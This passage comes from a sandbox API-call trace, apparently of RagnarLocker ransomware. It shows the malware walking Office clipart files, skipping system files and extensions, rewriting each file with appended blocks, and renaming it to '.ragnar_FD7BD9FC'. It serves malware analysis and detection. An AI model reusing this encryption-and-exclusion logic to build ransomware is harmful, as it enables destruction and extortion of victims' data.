lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.978] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.978] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.978] GetProcessHeap () returned 0x580000 [0084.978] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.978] CloseHandle (hObject=0xf4) returned 1 [0084.978] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" [0084.978] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ragnar_FD7BD9FC" [0084.978] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.978] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0084.978] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.978] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152890.WMF" | out: lpString1="J0152890.WMF") returned="J0152890.WMF" [0084.978] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned=".WMF" [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="autorun.inf") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="boot.ini") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="bootfont.bin") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="bootsect.bak") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="bootmgr") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="bootmgr.efi") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="bootmgfw.efi") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="desktop.ini") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="iconcache.db") returned 1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="ntldr") returned -1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="ntuser.dat") returned -1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="ntuser.dat.log") returned -1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="ntuser.ini") returned -1 [0084.979] lstrcmpiW (lpString1="J0152890.WMF", lpString2="thumbs.db") returned -1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.979] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf")) returned 0x20 [0084.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.980] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1940) returned 1 [0084.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x78b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.980] GetProcessHeap () returned 0x580000 [0084.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.980] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.982] VirtualAlloc (lpAddress=0x0, dwSize=0x794, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.982] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x794, lpOverlapped=0x0) returned 1 [0084.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.982] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x794, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.982] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x794, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x794, lpOverlapped=0x0) returned 1 [0084.982] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x794, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.982] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.983] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.983] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.983] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.983] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.983] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.983] GetProcessHeap () returned 0x580000 [0084.983] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.983] CloseHandle (hObject=0xf4) returned 1 [0084.983] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" [0084.983] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ragnar_FD7BD9FC" [0084.983] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.984] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0084.984] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.984] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152892.WMF" | out: lpString1="J0152892.WMF") returned="J0152892.WMF" [0084.984] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned=".WMF" [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="autorun.inf") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="boot.ini") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="bootfont.bin") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="bootsect.bak") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="bootmgr") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="bootmgr.efi") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="bootmgfw.efi") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="desktop.ini") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="iconcache.db") returned 1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="ntldr") returned -1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="ntuser.dat") returned -1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="ntuser.dat.log") returned -1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="ntuser.ini") returned -1 [0084.984] lstrcmpiW (lpString1="J0152892.WMF", lpString2="thumbs.db") returned -1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.984] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf")) returned 0x20 [0084.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.985] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10668) returned 1 [0084.985] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29a3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.985] GetProcessHeap () returned 0x580000 [0084.985] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.985] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.987] VirtualAlloc (lpAddress=0x0, dwSize=0x29ac, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.987] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.987] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.987] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x29ac, lpOverlapped=0x0) returned 1 [0084.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.988] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x29ac, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.988] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x29ac, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x29ac, lpOverlapped=0x0) returned 1 [0084.988] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x29ac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.988] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29ac, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.988] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.988] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.989] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.989] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.989] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.989] GetProcessHeap () returned 0x580000 [0084.989] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.989] CloseHandle (hObject=0xf4) returned 1 [0084.989] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" [0084.989] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ragnar_FD7BD9FC" [0084.989] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.990] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0084.990] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.990] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152894.WMF" | out: lpString1="J0152894.WMF") returned="J0152894.WMF" [0084.990] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF") returned=".WMF" [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="autorun.inf") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="boot.ini") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="bootfont.bin") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="bootsect.bak") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="bootmgr") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="bootmgr.efi") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="bootmgfw.efi") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="desktop.ini") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="iconcache.db") returned 1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="ntldr") returned -1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="ntuser.dat") returned -1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="ntuser.dat.log") returned -1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="ntuser.ini") returned -1 [0084.990] lstrcmpiW (lpString1="J0152894.WMF", lpString2="thumbs.db") returned -1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.990] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf")) returned 0x20 [0084.990] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.991] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11348) returned 1 [0084.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.991] GetProcessHeap () returned 0x580000 [0084.991] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.991] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.996] VirtualAlloc (lpAddress=0x0, dwSize=0x2c54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.996] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2c54, lpOverlapped=0x0) returned 1 [0084.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.997] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c54, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.997] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2c54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2c54, lpOverlapped=0x0) returned 1 [0084.997] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.997] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.997] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.997] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.997] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.998] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.998] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.998] GetProcessHeap () returned 0x580000 [0084.998] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.998] CloseHandle (hObject=0xf4) returned 1 [0084.998] 